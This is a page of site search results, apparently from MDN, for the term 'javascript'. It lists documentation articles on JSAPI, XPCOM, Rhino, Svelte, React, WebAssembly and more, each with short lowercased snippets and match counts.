--nickolay 18:40, 16 july 2006 (pdt) js 1.2 and gecko 1.8 per the fix for bug 255895, "javascript1.2" values for the script's language attribute no longer work, e.g.
... <script language="javascript1.2"> will execute the script in the latest js version rather than js 1.2.
...there are 5 cases where "javascript1.2" is mentioned in this reference: special:search?search=javascript1.2&go=go.
...And 30 more matches
JSObject - Archive of obsolete content
summary the public final class netscape.javascript.jsobject extends object.
... java.lang.object | +----netscape.javascript.jsobject description javascript objects are wrapped in an instance of the class netscape.javascript.jsobject and passed to java.
... jsobject allows java to manipulate javascript objects.
...And 29 more matches
JSAPI Cookbook
this article shows the jsapi equivalent for a tiny handful of common javascript idioms.
... to query whether a value has a particular type, use a correspondingly named member testing function: // javascript var v = computesomevalue(); var isstring = typeof v === "string"; var isnumber = typeof v === "number"; var isnull = v === null; var isboolean = typeof v === "boolean"; var isobject = typeof v === "object" && v !== null; /* jsapi */ js::rootedvalue v(cx, computesomevalue()); bool isstring = v.isstring(); bool isnumber = v.isnumber(); bool isint32 = v.isint32(); // note: internal representation, not numeric value bool isnull = v.isnull(); bool isbool...
...ean = v.isboolean(); bool isobject = v.isobject(); // note: not broken like typeof === "object" is :-) to set a value use a correspondingly named member mutator function, or assign the result of the correspondingly named standalone function: // javascript var v; v = 0; v = 0.5; v = somestring; v = null; v = undefined; v = false; /* jsapi */ js::rootedvalue v(cx); js::rootedstring somestring(cx, ...); v.setint32(0); // or: v = js::int32value(0); v.setdouble(0.5); // or: v = js::doublevalue(0.5); v.setstring(somestring); // or: v = js::stringvalue(somestring); v.setnull(); // or: v = js::nullvalue(); v.setundefined(); // or: v = js::undefinedvalue(); v.setboolean(false); // or: v = js::booleanvalue(false); finding the global object many of these recipes r...
...And 28 more matches
Working with JSON - Learn web development
previous overview: objects next javascript object notation (json) is a standard text-based format for representing structured data based on javascript object syntax.
...you'll come across it quite often, so in this article we give you all you need to work with json using javascript, including parsing json so you can access data within it, and creating json.
... prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascript basics (see first steps and building blocks) and oojs basics (see introduction to objects).
...And 27 more matches
Scripting Java
this article shows how to use rhino to reach beyond javascript into java.
...in javascript, however, scripts exist outside of any package hierarchy.
...the reason is that javascript has its own top-level objects boolean, math, number, object, and string that are different from the classes by those names defined in the java.lang package.
...And 26 more matches
WebAssembly Concepts - WebAssembly
webassembly modules can be imported into a web (or node.js) app, exposing webassembly functions for use via javascript.
... javascript frameworks could make use of webassembly to confer massive performance advantages and new features while still making functionality easily available to web developers.
... note: webassembly will also have uses outside web and javascript environments (see non-web embeddings).
...And 24 more matches
Storing the information you need — Variables - Learn web development
previous overview: first steps next after reading the last couple of articles you should now know what javascript is, what it can do for you, how you use it alongside other web technologies, and what its main features look like from a high level.
... in this article, we will get down to the real basics, looking at how to work with the most basic building blocks of javascript — variables.
... prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is.
...And 23 more matches
Mozilla DOM Hacking Guide
a brief introduction to javascript and xpconnect.
... before we begin the explanation of class info, i'd like to introduce quickly the javascript engine and xpconnect.
... in javascript, there is no knowledge of types, like there is in c++.
...And 23 more matches
Index - Firefox Developer Tools
you can use them to examine, edit, and debug html, css, and javascript.
... 15 browser toolbox debug, firefox, javascript the browser toolbox enables you to debug add-ons and the browser's own javascript code rather than just web pages like the normal toolbox.
... 17 debugger-api debugger, intermediate, intro, javascript, tools mozilla’s javascript engine, spidermonkey, provides a debugging interface named debugger which lets javascript code observe and manipulate the execution of other javascript code.
...And 23 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
central configuration file that feature is provided through a javascript file.
... file location (not tested since 2012 ...) in thunderbird , firefox, the javascript preference file that calls the centralized preference file is located in $install_dir_moz_app/defaults/pref, for example in thunderbird this would be repectively for windows/linux: c:\program files\mozilla thunderbird\defaults\pref /usr/lib/thunderbird/default/pref ( it used to be in /usr/lib/thunderbird-version#/default/pref as in /usr/lib/thunderbird-5/default/pref ) for the record/history purpose ...
...for mozilla 1.x.x, firefox, thunderbird or netscape 7 it is still a javascript file, the byte-shift is 13 by default, but can be removed using the pref("general.config.obscure_value", 0); preference in any appropriate .js file dedicated to autoconfig (here autoconf.js).
...And 21 more matches
Drawing graphics - Learn web development
prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn the basics of drawing on <canvas> elements using javascript.
...while you could use css and javascript to animate (and otherwise manipulate) svg vector images — as they are represented by markup — there was still no way to do the same for bitmap images, and the tools available were rather limited.
... the below example shows a simple 2d canvas-based bouncing balls animation that we originally met in our introducing javascript objects module: around 2006–2007, mozilla started work on an experimental 3d canvas implementation.
...And 20 more matches
Using XPCOM Components
the cookie manager dialog this dialog is written in xul and javascript, and uses a part of xpcom called xpconnect to seamlessly connect to the cookiemanager component (see connecting to components from the interface below).
... the snippet in getting the cookiemanager component in javascript shows how the remove() method from the xpcom cookiemanager component can be called from javascript: getting the cookiemanager component in javascript // xpconnect to cookiemanager // get the cookie manager component in javascript var cmgr = components.classes["@mozilla.org/cookiemanager;1"] .getservice(); cmgr = cmgr.queryinterface(components.interfaces.nsicookiemanager); ...
...// called as part of a largerdeleteallcookies() function function finalizecookiedeletions() { for (var c=0; c<deletedcookies.length; c++) { cmgr.remove(deletedcookies[c].host, deletedcookies[c].name, deletedcookies[c].path); } deletedcookies.length = 0; } connecting to components from the interface the mozilla user interface uses javascript that has been given access to xpcom components in the application core with a technology called xpconnect.
...And 20 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
the chapters so far have each focused on technologies in isolation—xul, javascript, css, and xpcom.
...refer to the “javascript debugging methods” sidebar.
... true javascript.options.showinconsole (present in firefox 3.5+) outputs javascript errors to the error console.
...And 19 more matches
Client-side storage - Learn web development
prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to use client-side storage apis to store application data.
...it consists of javascript apis that allow you to store data on the client (i.e.
... open the javascript console of your browser's developer tools.
...And 19 more matches
Getting started with Svelte - Learn web development
previous overview: client-side javascript frameworks next in this article we'll provide a quick introduction to the svelte framework.
... prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... svelte is a compiler that generates minimal and highly optimized javascript code from our sources; you'll need a terminal with node + npm installed to compile and build your app.
...And 19 more matches
Adobe Flash - Archive of obsolete content
scriptability refers to the ability of plugins to interact with javascript.
... in particular, the macromedia® flash™ plugin exposes certain plugin functionality for access via javascript.
... it can also access javascript methods from within the plugin.
...And 18 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
introduction in an ideal world, we could author html, xml, css and javascript and only worry about the w3c and ecma standards.
... gecko was designed from the ground up to be compliant with the w3c html, w3c css, w3c xml, w3c dom, and ecmascript (javascript) standards.
... netscape navigator 2 introduced the ability to run javascript in web browsers.
...And 18 more matches
Implementing feature detection - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross-browser testing.
... objective: to understand what the concept of feature detection is, and be able to implement suitable solutions in css and javascript.
... let's recap and look at the example we touched on in our handling common javascript problems — the geolocation api (which exposes available location data for the device the web browser is running on) has the main entry point for its use, a geolocation property available on the global navigator object.
...And 18 more matches
Window.open() - Web APIs
WebAPIWindowopen
after a window is opened, javascript can't be used to change the features.
... best practices <script type="text/javascript"> var windowobjectreference = null; // global variable function openffpromotionpopup() { if(windowobjectreference == null || windowobjectreference.closed) /* if the pointer to the window object in memory does not exist or if such pointer exists but the window was closed */ { windowobjectreference = window.open("http://www.spreadfirefox.com/", "promotefirefoxwindowname", "resiz...
...but if javascript support is disabled or non-existent on the user's browser, then the onclick event handler is ignored and the browser loads the referenced resource in the target frame or window that has the name "promotefirefoxwindowname".
...And 18 more matches
Appendix D: Loading Scripts - Archive of obsolete content
most add-ons and xul runner applications provide their primary functionality by loading and executing javascript code.
... because there are such a diverse array of add-ons, and because the needs of developers have grown organically over time, the gecko runtime provides a number of means to dynamically load and execute javascript files.
... flexibility: script tags provide a means to specify the character set and javascript version of the scripts to be loaded, which many other methods do not.
...And 17 more matches
Venkman Introduction - Archive of obsolete content
the javascript debugger, also called venkman, has been a part of the mozilla browser and the community of web and script developers there for some time.
... this article provides an overview and some practical examples of using the javascript debugger in web applications and web page scripting.
... this introduction is the first in a series of articles on venkman and javascript debugging.
...And 17 more matches
How to build custom form controls - Learn web development
note: we'll focus on building the control, not on how to make the code generic and reusable; that would involve some non-trival javascript code and dom manipulation in an unknown context, and that is out of the scope of this article.
... we'll see later that it's better to set it through javascript.
...this is important to make sure that we don't bind our css and javascript to a strong html structure, so that we can make implementation changes later without breaking code that uses the control.
...And 17 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
the first one looks like a traditional dhtml ticker application and uses hidden iframes and javascript to provide updates inside the webpage's ticker headlines section.
...html and web standards have evolved and now offer flexible and fine-grained control to layout as well supporting dhtml, powerful programming languages like javascript, and additional media through embeddable third-party resources like flash, java, vrml, etc.
...implementing inner-browsing on top of html pages modern browsers have good support for the w3c dom and javascript allowing fine-grained control over page content.
...And 15 more matches
Introduction to web APIs - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, javascript basics (see first steps, building blocks, javascript objects).
... in the same way, if you want to say, program some 3d graphics, it is a lot easier to do it using an api written in a higher-level language such as javascript or python, rather than try to directly write low level code (say c or c++) that directly controls the computer's gpu or other graphics functions.
... apis in client-side javascript client-side javascript, in particular, has many apis available to it — these are not part of the javascript language itself, rather they are built on top of the core javascript language, providing you with extra superpowers to use in your javascript code.
...And 15 more matches
Getting started with React - Learn web development
previous overview: client-side javascript frameworks next in this article we will say hello to react.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... react uses an html-in-javascript syntax called jsx (javascript and xml).
...And 15 more matches
TypeScript support in Svelte - Learn web development
previous overview: client-side javascript frameworks next in the last article we learned about svelte stores and even implemented our own custom store to persist the app's information to web storage.
... prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... typescript: optional static typing for javascript typescript is a superset of javascript that provides features such as optional static typing, classes, interfaces, and generics.
...And 15 more matches
Introduction to events - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps.
... each available event has an event handler, which is a block of code (usually a javascript function that you as a programmer create) that runs when the event fires.
... note: web events are not part of the core javascript language — they are defined as part of the apis built into the browser.
...And 14 more matches
Object prototypes - Learn web development
previous overview: objects next prototypes are the mechanism by which javascript objects inherit features from one another.
... note: this article covers traditional javascript constructors and classes.
... prerequisites: understanding javascript functions, familiarity with javascript basics (see first steps and building blocks), and oojs basics (see introduction to objects).
...And 14 more matches
Getting started with Ember - Learn web development
previous overview: client-side javascript frameworks next in our first ember article we will look at how ember works and what it's useful for, install the ember toolchain locally, create a sample app, and then do some initial setup to get it ready for development.
... prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them.
...And 14 more matches
nsIJSON
dom/interfaces/json/nsijson.idlscriptable this interface provides a convenient way to encode and decode json strings from javascript code.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) note: this interface may only be used from javascript code, with the exception of the legacydecodetojsval() method.
...deprecated since gecko 2.0 methods decode() obsolete since gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) decodes a json string, returning the javascript object it represents.
...And 14 more matches
Tutorials
javascript tutorials introductory level javascript first steps in our first javascript module, we first answer some fundamental questions such as "what is javascript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing javascript.
... after that, we discuss some key javascript features in detail, such as variables, strings, numbers and arrays.
... javascript building blocks in this module, we continue our coverage of all javascript's key fundamental features, turning our attention to commonly-encountered types of code block such as conditional statements, loops, functions, and events.
...And 14 more matches
Processing XML with E4X - Archive of obsolete content
first introduced in javascript 1.6, e4x introduces a native xml object to the javascript language, and adds syntax for embedding literal xml documents in javascript code.
... compatibility issues prior to widespread browser support for the <script> element, it was common for javascript embedded in a page to be surrounded by html comment tags to prevent <script> unaware browsers from displaying javascript code to the user.
...you can add an e4x=1 argument to your <script> tag to disable this restriction: <script type="text/javascript;e4x=1"> ...
...And 13 more matches
WAI-ARIA basics - Learn web development
previous overview: accessibility next following on from the previous article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult.
... prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, an understanding of the previous articles in the course.
...as a result, developers quite often rely on javascript libraries that generate such controls as a series of nested <div>s or table elements with classnames, which are then styled using css and controlled using javascript.
...And 13 more matches
Client-side form validation - Learn web development
prerequisites: computer literacy, a reasonable understanding of html, css, and javascript.
...this validation generally doesn't require much javascript.
... built-in form validation has better performance than javascript, but it is not as customizable as javascript validation.
...And 13 more matches
Functions — reusable blocks of code - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps.
... objective: to understand the fundamental concepts behind javascript functions.
... in javascript, you'll find functions everywhere.
...And 13 more matches
Framework main features - Learn web development
previous overview: client-side javascript frameworks next each major javascript framework has a different approach to updating the dom, handling browser events, and providing an enjoyable developer experience.
... prerequisites: familiarity with the core html, css, and javascript languages.
... domain-specific languages all of the frameworks discussed in this module are powered by javascript, and all allow you to use domain-specific languages (dsls) in order to build your applications.
...And 13 more matches
Handling common accessibility problems - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross browser testing.
... you can then press enter/return to follow a focused link or press a button (we've included some javascript to make the buttons alert a message), or start typing to enter text in a text input (other form elements have different controls, for example the <select> element can have its options displayed and cycled between using the up and down arrow keys).
...it is possible to style any element to look like a link or button with css, and to behave like a link or button with javascript, but they won't actually be links or buttons, and you'll lose a lot of the accessibility these elements give you for free.
...And 13 more matches
Introducing a complete toolchain - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages.
... tools used in our toolchain in this article we're going to use the following tools and features: jsx, a react-related set of syntax extensions that allow you to do things like defining component structures inside javascript.
... the latest built-in javascript features (at time of writing), such as import.
...And 13 more matches
Performance best practices for Firefox front-end engineers
it's also important to note that most of our javascript runs on the main thread, so it's easy for script to cause delays in event processing or painting.
... note that requestanimationframe() lets you queue up javascript to run right before the style flush occurs.
...this happens the first time the page loads and the css is initially applied, but can happen again if javascript modifies the dom.
...And 13 more matches
Rhino overview
introduction most people who have used javascript before have done so by adding scripts to their html web pages.
... rhino contains all the features of javascript 1.7 allows direct scripting of java a javascript shell for executing javascript scripts a javascript compiler to transform javascript source files into java class files a javascript debugger for scripts executed with rhino language the javascript language itself is standardized by standard ecma-262 ecmascript: a general purpose, cross-platform programming language.
... in addition, rhino has implemented javaadapters, which allows javascript to implement any java interface or extend any java class with a javascript object.
...And 13 more matches
Language bindings
the following bridging layers are currently available: components objectthe components object is the object through which xpconnect functionality is reflected into javascript.
... the components object is actually a native instance of the nsixpccomponents interface which is reflected into javascript as a top level object using xpconnect.components.classescomponents.classes is a read-only object whose properties are classes indexed by contractid.components.classesbyidcomponents.classesbyid is a read-only object whose properties are classes indexed by cid.components.constructorcreates a javascript function which can be used to create or construct new instances of xpcom components.components.exceptioncomponents.exception is a javascript constructor to create nsixpcexception objects.
... these exception objects may be thrown when implementing xpcom interfaces in javascript, and they can provide better diagnostics in the error console if not caught than simply throwing an nsresult's value will.components.idcomponents.id is a constructor that creates native objects that conform to the nsijsid interface.components.interfacescomponents.interfaces is a read-only object whose properties are interfaces indexed by their names.components.interfacesbyidcomponents.interfacesbyid is a read-only array of classes indexed by iid.components.issuccesscodedetermines whether a given xpcom return code (that is, an nsresult value) indicates the success or failure of an operation, returning true or false respectively.components.lastresultcomponents.managercomponents.manager is a convenience reflection o...
...And 13 more matches
Compiling from Rust to WebAssembly - WebAssembly
to build a part of an application — using rust in an existing javascript frontend.
...this package will contain only webassembly and javascript code, and so the users of the package won't need rust installed.
... using wasm-bindgen to communicate between rust and javascript the first part looks like this: use wasm_bindgen::prelude::*; libraries are called "crates" in rust.
...And 13 more matches
Venkman - Archive of obsolete content
venkman is the code name for mozilla's javascript debugger.
... it aims to provide a powerful javascript debugging environment for mozilla based browsers namely firefox, netscape 7.x/9.x and seamonkey.
... documentation venkman introduction an overview and some practical examples of using the javascript debugger in web development.
...And 12 more matches
Components object
the components object is the object through which xpconnect functionality is reflected into javascript.
... the components object is actually a native instance of the nsixpccomponents interface which is reflected into javascript as a top level object using xpconnect.
...nterfaces by interface name interfacesbyid array of interfaces by iid issuccesscode function to determine if a given result code is a success code lastresult result code of most recent xpconnect call manager the global xpcom component manager results array of known result codes by name returncode pending result for current call stack current javascript call stack utils provides access to several useful features utils.atline provides access to the value of the atline property in the javascript environment.
...And 12 more matches
Working with windows in chrome code
the window.opendialog function works similarly, but lets you specify optional arguments that can be referenced from the javascript code.
...with xpcnativewrappers turned on (which is the default in firefox 1.5+), your extension can safely access the dom of the content document, but not the content javascript.
... bypassing xpcnativewrapper to work with content javascript directly can lead to security problems.
...And 12 more matches
Working with data
these are javascript constructors; as such, they're callable functions that you can use to create new cdata objects of that type.
... if the type represents a javascript string (that is, an array of jschar characters followed by a null terminator), a copy of that string is created and returned.
... if the value is a javascript array object and it has a non-negative length, a new array is created and the contents of the array specified by value are converted to cdata objects and copied into the new array, which is then returned.
...And 12 more matches
Debugger-API - Firefox Developer Tools
the debugger interface mozilla’s javascript engine, spidermonkey, provides a debugging interface named debugger which lets javascript code observe and manipulate the execution of other javascript code.
... both firefox’s built-in developer tools and the firebug add-on use debugger to implement their javascript debuggers.
... debugger has three essential qualities: it is a source level interface: it operates in terms of the javascript language, not machine language.
...And 12 more matches
Using Web Workers - Web APIs
once created, a worker can send messages to the javascript code that created it by posting messages to an event handler specified by that code (and vice versa).
...worker()) that runs a named javascript file — this file contains the code that will run in the worker thread; workers run in another global context that is different from the current window.
...in this section we'll discuss the javascript found in our basic dedicated worker example (run dedicated worker): this allows you to enter two numbers to be multiplied together.
...And 12 more matches
Web Performance
we cover them in this section: key performance guides animation performance and frame rateanimation on the web can be done via svg, javascript, including <canvas> and webgl, css animation, <video>, animated gifs and even animated pngs and other image types.
... the performance cost of animating a css property can vary from one property to another, and animating expensive css properties can result in jank as the browser struggles to hit a smooth frame rate.critical rendering paththe critical rendering path is the sequence of steps the browser goes through to convert the html, css, and javascript into pixels on the screen.
... optimizing the critical render path improves render performance.the critical rendering path includes the document object model (dom), css object model (cssom), render tree and layout.css and javascript animation performancebrowsers are able to optimize rendering flows.
...And 12 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
xpinstall is a javascript-based installer technology that works across all the platforms that mozilla and netscape browsers based on mozilla (such as netscape 7) are deployed.
... a javascript file called install.js, which is the install logic that drives the installation.
...unlike native code installers (for example, files called setup.exe), the programming language for install operations in xpi is javascript.
...And 11 more matches
Manipulating documents - Learn web development
prerequisites: basic computer literacy, a basic understanding of html, css, and javascript — including javascript objects.
... objective: to gain familiarity with the core dom apis, and the other apis commonly associated with dom and document manipulation the important parts of a web browser web browsers are very complicated pieces of software with a lot of moving parts, many of which can't be controlled or manipulated by a web developer using javascript.
...there are a few really obvious bits you'll reference regularly in your code — consider the following diagram, which represents the main parts of a browser directly involved in viewing web pages: the window is the browser tab that a web page is loaded into; this is represented in javascript by the window object.
...And 11 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
previous overview: client-side javascript frameworks next now that we have our markup and styles ready we can start developing the required features for our svelte to-do list app.
... prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... objective: learn and put into practice some basic svelte concepts, like creating components, passing data using props, render javascript expressions into our markup, modify the components state and iterating over lists.
...And 11 more matches
Rhino Debugger
the rhino javascript debugger is a gui that allows debugging of interpreted javascript scripts run in rhino.
... note that this debugger will not work with javascript scripts run in the mozilla browser since rhino is not the engine used in such environments.
... current limitations: no breakpoint menu using the rhino javascript debugger the mozilla rhino javascript engine includes a source-level debugger for debugging javascript scripts.
...And 11 more matches
nsIPromptService
for javascript, they are extra work, as you can't use an out parameter directly.
...for more information on out parameters and javascript refer to working with out parameters.
...all flags are defined as unsigned long constants and can be accessed as components.interfaces.nsipromptservice.flagname from javascript and as nsipromptservice::flagname from c++.
...And 11 more matches
Xray vision
xray vision helps javascript running in a privileged security context safely access objects created by less privileged code, by showing the caller only the native version of the objects.
... gecko runs javascript from a variety of different sources and at a variety of different privilege levels.
... the javascript code that along with the c++ core, implements the browser itself is called chrome code and runs using system privileges.
...And 11 more matches
Debugger.Source - Firefox Developer Tools
debugger.source a debugger.source instance represents either a piece of javascript source code or the serialized text of a block of webassembly code.
... debugger.source for javascript for a debugger.source instance representing a piece of javascript source code, its properties provide the source code itself as a string, and describe where it came from.
...for example, an html document can contain javascript in multiple <script> elements and event handler content attributes.
...And 11 more matches
Waterfall - Firefox Developer Tools
it's based on the idea that the things a browser does when running a site can be divided into various types - running javascript, updating layout, and so on - and that at any given point in time, the browser is doing one of those things.
...the following operations are recorded: name and description color detailed information dom event javascript code that's executed in response to a dom event.
... javascript functions executed in the page are labeled with the reason the function was called: script tag setinterval settimeout requestanimationframe promise callback promise init worker javascript uri event handler stack call stack, with links to functions.
...And 11 more matches
Classes and Inheritance - Archive of obsolete content
unlike languages like c++ and java, javascript does not have native support for classical inheritance.
... classes in javascript are defined using constructor functions.
...classical inheritance can be implemented in javascript using constructors and prototypes.
...And 10 more matches
Introduction to XUL - Archive of obsolete content
this linkage can be accomplished by including javascript in the xul, or by application code which walks the content model after it has been built from xul, and hooks up event listeners.
...it will send its command to the application for processing, generally using some simple javascript for linkage.
..."programming" can be as simple as some javascript to tie the widgets together and perhaps to give them extra functionality, or as complex as application (c++) code which is free to do ...
...And 10 more matches
JavaArray - Archive of obsolete content
summary core object a wrapped java array accessed from within javascript code is a member of the type javaarray.
...in addition, you can create a javaarray with an arbitrary data type using the newinstance method of the array class: public static object newinstance(class componenttype, int length) throws negativearraysizeexception description the javaarray object is an instance of a java array that is created in or passed to javascript.
... in javascript 1.4 and later, the componenttype parameter is either a javaclass object representing the type of the array or class object, such as one returned by java.lang.class.forname.
...And 10 more matches
Archived open Web documentation - Archive of obsolete content
e4x ecmascript for xml (e4x) is a programming language extension that adds native xml support to javascript.
...with e4x, programmers can manipulate an xml document with a syntax more familiar to javascript programming.
... liveconnect (please update or remove as needed.) msx emulator (jsmsx) old proxy api proxies are objects for which the programmer has to define the semantics in javascript.
...And 10 more matches
Client-side tooling overview - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages.
...although it is still entirely reasonable to write html, css, and javascript "by hand" there is now a wealth of tools that developers can use to speed up the process of building a web site, or app.
...turning an intermediate language into javascript that a browser can understand.
...And 10 more matches
Package management basics - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages.
... a project dependency can be an entire javascript library or framework — such as react or vue — or a very small utility like our human-readable date library, or it can be a command line tool such as prettier or eslint, which we talked about in previous articles.
...a bundle is the term that’s generally used to refer to a single file on your web server that contains all the javascript for your software — typically compressed as much as possible to help reduce the time it takes to get your software downloaded and displayed in your visitors’ browser.
...And 10 more matches
Tutorial: Embedding Rhino
in this document, javascript code will be in green, java code will be in green, and shell logs will be in purple.
... in this document: runscript: a simple embedding entering a context initializing standard objects collecting the arguments evaluating a script printing the result exiting the context expose java apis using java apis implementing interfaces adding java objects using javascript objects from java using javascript variables calling javascript functions javascript host objects defining host objects counter example counter's constructors class name dynamic properties defining javascript "methods" adding counter to runscript runscript: a simple embedding about the simplest embedding of rhino possible is the runscript example.
...result could be a string, javascript object, or other values.
...And 10 more matches
Building the WebLock UI
weblock.js provides javascript functions for both of the xul files.
...since the weblock component is always initialized as unlocked, we can have the client code - the javascript code in the interface - represent this state and track it as the user manipulates the iweblock interface.
... to the lock and unlock methods of the weblock component must also adjust this variable accordingly: function wlock() { // check to see if locking is on or off weblock.lock(); wlocked = 1; } function wunlock() { // check to see if locking is on or off weblock.unlock(); wlocked = 0; } an important preliminary of these functions is that the weblock component be made available to the javascript in the form of the weblock object being used in the snippets above.
...And 10 more matches
ctypes
note: some 64-bit values are outside the range of numeric values supported by javascript.
... because of this, ctypes.int64 and ctypes.uint64 do not automatically convert to javascript numbers.
... instead, they convert to objects of the wrapper types ctypes.int64 and ctypes.uint64, which are javascript objects rather than cdata objects.
...And 10 more matches
<script>: The Script element - HTML: Hypertext Markup Language
WebHTMLElementscript
the html <script> element is used to embed executable code or data; this is typically used to embed or refer to javascript code.
... permitted content dynamic script such as text/javascript.
... this attribute allows the elimination of parser-blocking javascript where the browser would have to load and evaluate scripts before continuing to parse.
...And 10 more matches
Authoring MathML - MathML
in particular, the mozilla mathml team has been developing texzilla, a javascript unicode latex-to-mathml converter that is intended to be used in many scenarios described here.
... note that by design, mathml is well-integrated in html5 and in particular you can use usual web features like css, dom, javascript or svg.
... gecko-based instant messaging clients can integrate a javascript-based text-to-mathml converter (mentioned below) and then render the mathml expressions generated from the (plaintext) instant messages.
...And 10 more matches
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
all of these documents currently assume, however, that you are developing your extension using xul and javascript only.
...reasons why you might want to include c++ components in your extension include: need for high-performance beyond what can be delivered by javascript code.
... note: with the modern jit javascript engine in gecko and js-ctypes more extension code can be written only in javascript than ever before.
...And 9 more matches
Setting up an extension development environment - Archive of obsolete content
development command flags as of gecko 2 (firefox 4), javascript files are cached ("fastload").
...maxversion needs to be set in install.rdf javascript.options.showinconsole = true.
... javascript.options.strict = true.
...And 9 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
if you know how to program in javascript, then you can write your own code that does other things.
...from seamonkey's menu bar, choose tools – web development – javascript console.
...it is one very long line ending in path—make sure that you get all of it: components.classes["@mozilla.org/file/directory_service;1"].getservice( components.interfaces.nsiproperties).get("achrom", components.interfaces.nsifile).path in the javascript console window, paste the code in the field near the top.
...And 9 more matches
Server-side web frameworks - Learn web development
note: many other templating systems use a similar syntax, e.g.: jinja2 (python), handlebars (javascript), moustache (javascript), etc.
...c++ or javascript, may well be offset by the costs of learning and maintenance.
...django for example sanitises all user input from html templates so that user-entered javascript cannot be run.
...And 9 more matches
SpiderMonkey Internals
design walk-through at heart, spidermonkey is a fast interpreter that runs an untyped bytecode and operates on values of type js::value—type-tagged values that represent the full range of javascript values.
... in addition to the interpreter, spidermonkey contains a just-in-time (jit) compiler, a garbage collector, code implementing the basic behavior of javascript values, a standard library implementing ecma 262-5.1 §15 with various extensions, and a few public apis.
...a js-to-js function call pushes a javascript stack frame without growing the c stack.
...And 9 more matches
Debugger.Memory - Firefox Developer Tools
debugger.memory the debugger api can help tools observe the debuggee’s memory use in various ways: it can mark each new object with the javascript call stack at which it was allocated.
... it can log all object allocations, yielding a stream of javascript call stacks at which allocations have occurred.
... allocation site tracking the javascript engine marks each new object with the call stack at which it was allocated, if: the object is allocated in the scope of a global object that is a debuggee of some debugger instancedbg; and dbg.memory.trackingallocationsites is set to true.
...And 9 more matches
Migrating from Firebug - Firefox Developer Tools
it shows log information associated with a web page and allows you to execute javascript expressions via its command line.
... stop script execution on dom mutation in firebug you can break on dom mutations, that means that when an element is changed, the script execution is stopped at the related line within the javascript file, which caused the change.
...both allow you to debug javascript code executed on a website.
...And 9 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
there are a number of options available when compiling with emscripten, but the main two scenarios we'll cover are: compiling to wasm and creating html to run our code in, plus all the javascript "glue" code needed to run the wasm in the web environment.
... compiling to wasm and just creating the javascript.
... creating html and javascript this is the simplest case we'll look at, whereby you get emscripten to generate everything you need to run your code, as webassembly, in the browser.
...And 9 more matches
LiveConnect - Archive of obsolete content
liveconnect provides javascript with the ability to call methods of java classes and vice-versa using the existing java infrastructure.
... older versions of gecko included special support for the java<->javascript bridge (such as the java and packages global objects), but as of mozilla 16 (firefox 16 / thunderbird 16 / seamonkey 2.13) liveconnect functionality is provided solely by the oracle's java plugin.
...you can still embed java applets and access their api from javascript.
...And 8 more matches
Windows Media in Netscape - Archive of obsolete content
this article explains how to embed the windows media player activex control in web pages to support netscape 7.1, how to control the windows media player activex control using javascript and provides working examples.
...netscape 7.1 is the first netscape gecko™ browser to support the windows media player as an activex control -- previous netscape browsers did not support any activex controls, and thus detecting which versions of netscape support the windows media activex control is an important first step towards building multimedia experiences using html, javascript, and the windows media activex control.
...this section presents two mechanisms to detect the browsers that support windows media player -- detection using javascript objects which is useful for client-side detection detection using the user agent string which is useful for server side detection.
...And 8 more matches
HTML forms in legacy browsers - Learn web development
you can also investigate some hard techniques such as rebuilding widgets with javascript.
... feature detection and polyfills css and javascript are awesome technologies, but it's important to ensure you don't break legacy browsers.
... unobtrusive javascript one of the biggest problems is the availability of apis.
...And 8 more matches
Silly story generator - Learn web development
objective: to test comprehension of javascript fundamentals, such as variables, numbers, operators, strings, and arrays.
...you could paste the html, css and javascript into one of these online editors.
... if the online editor you are using doesn't have a separate javascript panel, feel free to put it inline in a <script> element inside the html page.
...And 8 more matches
Ember interactivity: Events, classes and state - Learn web development
previous overview: client-side javascript frameworks next at this point we'll start adding some interactivity to our app, providing the ability to add and display new todo items.
... along the way, we'll look at using events in ember, creating component classes to contain javascript code to control interactive features, and setting up a service to keep track of the data state of our app.
... prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
...And 8 more matches
Handling common HTML and CSS problems - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross browser testing.
...in the worst cases, javascript is used to generate the entire web page content and style, which makes your pages inaccessible, and less performant (generating dom elements is expensive).
